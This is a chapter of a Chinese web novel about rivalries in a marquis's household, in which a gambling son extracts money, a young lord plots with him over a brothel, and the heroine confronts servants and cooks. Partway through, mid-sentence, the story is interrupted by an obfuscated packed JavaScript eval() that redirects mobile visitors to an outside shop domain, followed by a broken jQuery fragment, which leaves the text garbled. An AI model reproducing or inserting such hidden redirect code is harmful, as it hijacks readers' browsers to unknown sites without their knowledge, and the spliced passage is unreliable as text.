“母亲近日安好?呦,世子也在啊!”

    循着声音,孙卓瞅了眼来人,是秦家那个嗜赌如命的二公子——秦潼。

    见世子没搭理自己,秦潼继续舔着笑脸朝秦伊一望去,“看二妹妹的气色,倒像比先前更妩媚动人了呀!不是我向着自家人说话,放眼整个西门关,哦、不,是整个鹤洲,二妹妹这张脸,堪称第一美人!”

    秦伊一被他夸得,那张“第一美人”的小脸越发红润。

    “母亲,二姐,你们不要被他骗了,他定是又欠钱了!”秦峰气急败坏地跟了进来。

    “那日醉酒生事后,父亲便叫我盯着秦潼,可他已经连着几日没去过学堂。若不是中都有人要来,父亲定会扒了他的皮。哼!”

    秦潼被秦峰一阵数落,却不敢还嘴,只得点头赔笑。

    玄婳面露愠色, “潼哥儿今年二十有二了吧——峰哥儿比你还小九岁呢!虽说嫡庶有别,侯府也不指望你能光耀门楣,但有辱侯府的事,万不可做。否则,莫说侯爷会赶你出府,我玄婳也绝不轻饶!”

    秦潼:  “是,是,母亲教训的是。四弟天资聪颖,前途无量,我怎能相比呦!嘿嘿……母亲放心,咱们兄弟情深。儿子只盼四弟日后飞黄腾达,叫我往东,绝不往西;让我打狗,绝不撵鸡!”

    玄婳很是享受秦潼的吹捧,但秦峰最是看不起他的孬样。

    秦峰:  “你也不过嘴上抹了蜜,心里早就烂得生了疮!宋姨娘被送去庄子时,怎不见你和秦鸿——这两个亲儿子——露脸?现在倒上赶着巴结母亲来了。”

    “唉,姨娘年龄大了,难免会犯些糊涂,我和大哥都觉得对不住母亲和妹妹,哪还敢造次?前些时日听说妹妹受伤,我急得也跟着四处打探神医下落。这不,一听到妹妹好了,赶忙来看看。”

    秦峰上前,把身子躬得更狠了些,慢慢抬头看向面色好转的玄婳,降低了声音继续赔笑着。

    “嘿嘿……儿子虽没有打探到神医的下落,却也使了不少银子呢!……母亲体谅儿子,从前也不是没帮过儿子,如今催债的又来了,还望母亲多体恤体恤儿子啊!”

    “给他罢,给他罢!”从他进门,玄婳就知道其来意,早使了眼色叫心腹岫玉备好银两。

    “母亲!……”秦峰还想阻挠,被岫玉拦住。

    “嘿嘿……有劳岫玉姑姑了!”

    秦潼掂了掂钱袋,贼兮兮地看着秦峰,“四弟和五妹还真是越来越不像了,哈哈哈哈……”不等对方回应,他得意转身、直起腰板、大摇大摆地跨过了门槛。

    孙卓自觉今日已讨不到什么好处,寒暄了几句便告辞离开。

    “二公子留步!”孙卓追上秦潼。

    秦潼躬身:“嘿呦!世子是在叫我?”

    孙卓:“二公子可想做笔大买卖?”

    秦潼瞪大眼睛:“难得世子看得起我!不瞒世子,在西门关,我秦潼的名号也是响当当的!世子有什么吩咐,尽管说!”

    孙卓:“二公子是否还记得,先前我跟大公子聊起的隐香楼?”

    “怎不记得?!”

    自从上次孙卓告诉他大哥,西门关新开了家青楼后,大哥就夜夜往那里跑。

    “我与楼主是旧相识。西门关虽为鹤洲与西京毗邻之地,却只是个边陲小镇,人少,女人更少。二公子若是有办法为楼主解燃眉之急,必有重谢!”

    孙卓对若有所思的秦潼,朝露华院的方向挑了挑眉。

    秦潼立刻会意。

    “这……世子当真舍得?”前阵子还拉着那位海誓山盟,这会子竟打起歪主意来,真真儿比他那花心的大哥还薄幸。

    “女人嘛,哪种方式得到,不重要!”

    “哦——明白了!怪道您和我大哥能聊到一块儿去。世子放心,这事儿包在我身上!”

    二人寻了个静处,详细盘算起来。

    ——[后院-厨房]——

    余胖子再次抬手,将热锅带着铁铲向灶外一掀:嗞啦——又一处水洼被惊起层层薄烟。

    他紧接着甩手,把油幌幌的锅铲往炉上一蹾。

    “诶呦,要死的狗东西,老娘新换的秋裳喂!”女人刺耳的尖叫声,惹得余胖子差点丢掉手里的铁铲。

    男人挠挠右耳, “徐婶子!呵呵,天黑得快,没看清。我该死、我该死……”虽然余胖子知道自己那铲余油根本挨不着她,可谁叫她是管家——徐福——的媳妇呢!

    “都给我精神着点儿,中都要来贵人了。”女人抓了把新炒的瓜子,翻着鱼泡眼、边嗑边道,“咱们侯府呀,就快办喜事喽……厨房也该修缮好了罢……在这么个破烂棚子里,能整出什么花样?”

    “可不是嘛,年年都得翻修多少回。上次炸得也忒邪门儿,片瓦不留,又得……嘿嘿!”余胖子瞥见徐福家的正在拿眼瞪他,连忙憨笑搪塞过去。

    下人们都清楚,管家是个肥差,他们侯府的管家更是肥里流油。主子们睁一只眼闭一只眼,他们下人又岂敢多嘴?

    女人拍拍嗑完瓜子的手,扭着大腚缓缓靠近灶台。

    “婶子又来看五丫头了?大房的人自己都不待见她,婶子怎的还拿她当个主子。”

    五大三粗的壮汉不敢得罪眼前的女人,更不敢得罪她“身后”的男人,只得话赶话、脚赶脚地躲着她那有意无意的靠近。

    “嘁!”

    徐福家的几次扑空,叫她好不悻恼,瞧了眼对面敞开的柴扉,摸了把腰间丝滑的面料,女人这才心情舒畅起来。

    主子!死丫头也配?

    要不是二房出手阔绰,她连看都懒得来看上一眼。

    “喏!二夫人可交待了,五娘子只是暂时在里面待几天,等贵人走了,侯爷自会将她放出来。盯紧点儿,别出了差错!”

    秦二妮,秦峰的双胞胎妹妹,侯府的五娘子——却是个傻的。不过,在她看来,这二夫人更傻,人家大房,可都巴不得他们二房全死绝了才好呢!

    “走,四姐姐带你吃香的喝辣的去!”

    秦梚梚拉着秦二妮,突然从柴房里冲出来。

    “诶诶!四娘子,你这是做什么?”徐福家的一把拽住秦梚梚的胳膊。

    小娘子立马送她一个拉肘顶腹,痛得老女人一屁股坐在水坑里,起不来了。

    余胖子拿着铁铲正要往灶台外走,被小娘子一个眼神定在原地。

    “怎么,上次的教训还不够?还想来个更大声儿的?”

    “上次?!难不成那次厨房走水,是你?……”老女人又惊又怕,那次走水生生要了她小姑子的命,而且死状极其恐怖,前所未见。

    “如今连大房的人,你们也敢欺负了?会咬主人的恶犬,他们惯着,我可不惯着!”

    秦梚梚后来从青柠口中得知,她当初虽被关在柴房,但母亲已在暗地里给过管事

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947170|214087||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的好处,叫她善待自己。

    可那天杀的徐管事,仗着自己管家亲妹子的身份,硬是对快要饿死的秦梚梚不闻不问。

    徐福家的眼看小娘子握起了拳头,赶紧起身,跪下磕头:

    “娘子饶命,娘子饶命!当初的事都是徐管事一人所为,跟奴婢可无关呐!”

    老女人抬头望了眼边上的秦二妮,对秦梚梚继续哭诉:

    “奴婢曾听徐管事说起过,当时二夫人的确给了她一些金钗首饰,可……可大夫人竟拿奴婢小侄子的命来威胁她给您禁食……她就那么一个宝贝疙瘩,实在不……”

    “你先起来。”

    秦梚梚自认不是什么好人,但还坏不到随意取人性命的地步。而且历经两世,她依旧适应不了这里动不动就下跪的习气。

    “徐管事的账我不与你追究。现下,厨房的差事既归你管,日后我们二房,还有她的伙食,全看你的表现了。敢有任何小动作……你试试!……”

    贪婪的人是除不净的,却能充分利用。

    秦梚梚往灶台里走,见余胖子不肯让路,就指着他的右耳小声叮嘱:“藏好喽,侯府的规矩,你懂的!”

    余胖子连忙捂住右耳,给小娘子让出一条道。

    上次爆炸,他虽离得远,却还是伤着了右耳。若让徐管家知道他废了一只耳朵,定会将他辞退。

    没有了阻碍,秦梚梚开始在厨房里大显身手。

    不一会儿功夫,院中央的石桌上就摆满了瓶瓶罐罐,装的尽是五颜六色的蘸酱,香飘四溢。

    “真香啊,四姐姐好棒!”秦二妮正要去舔瓶子,被秦梚梚拉住。

    “别急,得蘸着馒头慢慢吃。”

    “馒头来喽……”余胖子已被秦梚梚精湛的厨艺收服,不知不觉,竟给她打起了下手。

    “这些是豆酱,这些是肉酱,这些是果酱……要是有辣椒就好了!”说起辣椒,秦梚梚的记忆里闪过一抹红色人影。

    “好啊!我要告诉母亲,你们在这里偷吃。”

    秦梚梚刚回头,一只肥嫩嫩的小手就伸了过来。

    秦忠,容姨娘的独子。

    七岁的孩童却比他十三岁的姐姐还有劲儿,一把抢过秦二妮手中的馒头,迅速咬了一口,“嗯嗯……好吃,好吃……”

    秦二妮吓得蜷缩到桌角,秦忠狠狠地瞪着她,更加大口大口地往嘴里塞馒头。

    熊孩子,妥妥的熊孩子!

    秦梚梚气得刚要抬手教训他,就见熊孩子突然丢掉馒头,用双手不停地抓自己脖子。门口的两个丫鬟以为主子还在胡闹,都不敢上前。

    噎住了?

    来不及思考,秦梚梚立即将他背对自己。一番施救,秦忠呕出一块馒头疙瘩后终于哭出了声音。

    “哇……我要去告诉姨娘,你们想害我……哇……”

    两丫鬟这才发现不对劲,赶忙上前安慰小主子。

    “还有你们两个不长眼睛的狗东西,回去我就让姨娘将你们统统打死!”

    她秦梚梚怼天怼地都不怕,就怕跟熊孩子唠家常,总不能真把他打一顿吧?

    一时竟不知如何是好。

    “黄口小儿,先让为师带你见识见识——天有多高,地有多厚!”话音未尽,一袭白衣顺着月光,从屋顶翩然而降。

    不待众人反应,“白衣”抓起秦忠后领、飞身上房,顷刻消失在人们的视线中。